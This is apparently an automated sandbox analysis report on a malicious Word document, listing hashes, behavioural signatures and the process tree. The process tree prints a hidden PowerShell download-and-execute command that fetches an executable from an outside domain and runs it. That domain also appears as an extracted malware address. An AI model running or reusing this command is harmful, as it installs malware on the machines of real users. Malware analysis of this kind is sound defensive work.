Analysis
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max time kernel
24s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
10-07-2024 21:11
Behavioral task
behavioral1
Sample
31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc
Resource
win10v2004-20240709-en
General
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Target
31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc
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Size
110KB
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MD5
779769658592b517ac94754b2e1440e0
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SHA1
267ad7195a092fd012c5f7e7bead95ef4628d3cb
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SHA256
31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923
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SHA512
3806f137ce0546814c8ec2fa5f4383893547431fa63c9d8416094c7eaecd188f40361099c68278e3cc0924b1c73d3f7fa3971eb6e1a08fc4b3601187b551bf84
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SSDEEP
1536:d9ITuk/hms5bEb+FtYuvck3fu6Va8KefAQGQ2ZiYxXJXs:d9MV/XI+FtTvcAU0STi85s
Malware Config
Extracted
http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 5772 2200 cmd.exe WINWORD.EXE -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 2200 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 5840 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 5840 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 2200 WINWORD.EXE 2200 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 2200 wrote to memory of 5772 2200 WINWORD.EXE cmd.exe PID 2200 wrote to memory of 5772 2200 WINWORD.EXE cmd.exe PID 2200 wrote to memory of 5772 2200 WINWORD.EXE cmd.exe PID 2200 wrote to memory of 5772 2200 WINWORD.EXE cmd.exe PID 5772 wrote to memory of 5840 5772 cmd.exe powershell.exe PID 5772 wrote to memory of 5840 5772 cmd.exe powershell.exe PID 5772 wrote to memory of 5840 5772 cmd.exe powershell.exe PID 5772 wrote to memory of 5840 5772 cmd.exe powershell.exe PID 2200 wrote to memory of 1692 2200 WINWORD.EXE splwow64.exe PID 2200 wrote to memory of 1692 2200 WINWORD.EXE splwow64.exe PID 2200 wrote to memory of 1692 2200 WINWORD.EXE splwow64.exe PID 2200 wrote to memory of 1692 2200 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc"1⤵
- Drops file in Windows directory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\SysWOW64\cmd.execmd.exe /c cd decennialimpuredistributorHadesnature & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe','%TEMP%\meld.exe');Start (%TEMP%\meld.exe)2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5772 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe','C:\Users\Admin\AppData\Local\Temp\meld.exe');Start (C:\Users\Admin\AppData\Local\Temp\meld.exe)3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5840 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1692